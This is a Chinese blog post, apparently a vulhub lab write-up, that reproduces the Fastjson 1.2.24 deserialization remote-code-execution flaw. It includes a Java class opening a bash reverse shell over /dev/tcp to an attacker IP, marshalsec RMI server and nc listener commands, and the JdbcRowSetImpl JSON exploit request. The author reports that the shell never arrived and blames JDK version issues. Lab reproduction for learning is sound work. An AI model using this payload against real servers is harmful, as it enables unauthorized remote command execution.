vulhub漏洞复现Fastjson 1.2.24反序列化漏洞
Posted RexHarrr
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了vulhub漏洞复现Fastjson 1.2.24反序列化漏洞相关的知识,希望对你有一定的参考价值。
一、漏洞详情
Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,也可以将 JSON 字符串转换为 Java 对象。
漏洞成因:
目标网站在解析 json 时,未对 json 内容进行验证,直接将 json 解析成 java 对象并执行,攻击者构造对应的 payload ,让系统执行,就能达到代码执行,甚至命令执行的目的。
二、复现过程
搭建docker环境
docker-compose up -d
![](https://image.cha138.com/20230401/ac21e10623364967b9a32cd57fd25e94.jpg)
![](https://image.cha138.com/20230401/90244a0cebc44483ae16091a7aea0df0.jpg)
bp抓个包,GET改成POST,添加Content-Type字段为application/json,再添加请求参数,可以发现name返回值已经改成了Lili
如果他对于java对象也有回应,那fastjson漏洞不就在眼前了~
![](https://image.cha138.com/20230401/cba34a9865664d4b9e5e421e6dfaac08.jpg)
反弹shell
在vulhub下的fastjson 1.2.24文件夹下新建TouchFile.java文件,内容为:(注意修改为自己的攻击机ip)
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile
static
try
Runtime rt = Runtime.getRuntime();
String[] commands = "/bin/bash","-c","bash -i >& /dev/tcp/192.168.239.128/2333 0>&1";
Process pc = rt.exec(commands);
pc.waitFor();
catch (Exception e)
// do nothing
![](https://image.cha138.com/20230401/716bbd77f0c84eea9f6494257fef392c.jpg)
编译java文件
![](https://image.cha138.com/20230401/266f6d0d8ec1425fb923fa685e3c2e14.jpg)
把编译好的class文件传到外网系统中(这里我传到kali服务器中),并在class文件所在的目录,Python起一个http服务
python -m SimpleHTTPServer 4444
![](https://image.cha138.com/20230401/78ec8ec4eb9848e1a7ba5801da8bcacd.jpg)
![](https://image.cha138.com/20230401/fa03708fa71f4c559069694890bc4b01.jpg)
使用marshalsec项目,启动RMI服务,监听9999端口并加载远程类TouchFile.class
git clone https://github.com/mbechler/marshalsec (安装marshalsec)
source /etc/profile
![](https://image.cha138.com/20230401/3b10a4271d4a4de9bc7c247a9fa42309.jpg)
cd marshalsec/
mvn clean package -DskipTests
![](https://image.cha138.com/20230401/23230b690e5141c293f2ed20a18777f6.jpg)
编译成功
![](https://image.cha138.com/20230401/506f05250761428b96b90315e5a13214.jpg)
进入target目录,可以查看到marshalsec-0.0.3-SNAPSHOT-all.jar
![](https://image.cha138.com/20230401/ce5d91766b00476690af35cd13f432f0.jpg)
开启RMI服务(marshalsec-master/target 目录下 )
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.239.128:4444/#TouchFile" 9999
![](https://image.cha138.com/20230401/7f87d644671d481ea88af974ce281b72.jpg)
另起一个终端开启监听(nc -lvnp 2333)
nc -lvp 2333
![](https://image.cha138.com/20230401/f95f2da2f9c148e1a5a04a266607582b.jpg)
在192.168.239.128:8090处用bp抓包,构造如下POST请求包
POST / HTTP/1.1
Host: your-ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 167
"b":
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.239.128:9999/TouchFile",
"autoCommit":true
发送,这俩都有反应
![](https://image.cha138.com/20230401/01b0dbec157c40a5a7a8d2b03915c160.jpg)
![](https://image.cha138.com/20230401/749f3fa8e6cf427d85062cf27edd7231.jpg)
按道理来说,应该监听的2333端口也反弹shell了,但我这边一点反应没有,不应该啊!
附一张别人成功的图= =
https://blog.csdn.net/m0_54899775/article/details/122530463
![](https://image.cha138.com/20230401/9651b0e6f6e04a42be4d93d339e3d8c8.jpg)
三、总结
今天好像诸事不顺,复现两个漏洞全都卡半路了。
个人觉得上面复现失败可能是因为java 和javac的版本不一致,尝试了几个网上的方法都失败了(环境问题真的是头大,搞一天了),打算快照重开了。
另外发现kali自带的bp在jdk17版本以上貌似用不了,于是乎我又双叒叕下载了jdk1.8,结果也不行,最后下回了jdk11,才能正常打开bp😅
别的没学到,linux命令倒是学了一堆😅
可以切换jdk版本的:
update-alternatives --config java
![](https://image.cha138.com/20230401/b2144efb1dec43dc9ac16a2787d33359.jpg)
kali更新为java17的原因找到了(默认是11),因为kali没有javac,所以我在上面编译那个java文件的时候,去执行了 apt install default-jdk 这条命令,而它!就是罪魁祸首!
![](https://image.cha138.com/20230401/48ed7bd66d0540a0ba305568f1d7eced.jpg)
还有切换javac的命令:
update-alternatives --config javac
![](https://image.cha138.com/20230401/fe6946fb2aa446d9811cceb4140e75cc.jpg)
![](https://image.cha138.com/20230401/0856ab9b86a244b29cf890d32889a162.jpg)
虽然java和javac版本一致了,但是2333端口还是出不来ovo
以上是关于vulhub漏洞复现Fastjson 1.2.24反序列化漏洞的主要内容,如果未能解决你的问题,请参考以下文章
[Vulhub] fastjson 1.2.24 RCE && 1.2.47 RCE
fastjson 1.2.24 反序列化导致任意命令执行漏洞 复现详细步骤
fastjson 1.2.24 反序列化导致任意命令执行漏洞 复现详细步骤